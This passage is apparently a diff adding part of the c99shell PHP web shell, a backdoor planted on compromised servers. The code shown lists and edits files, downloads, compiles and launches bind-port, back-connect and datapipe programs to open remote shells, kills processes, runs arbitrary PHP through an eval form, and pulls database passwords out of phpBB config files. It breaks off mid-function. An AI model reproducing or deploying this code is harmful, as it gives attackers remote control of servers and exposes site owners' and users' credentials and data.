href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode(" ",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + 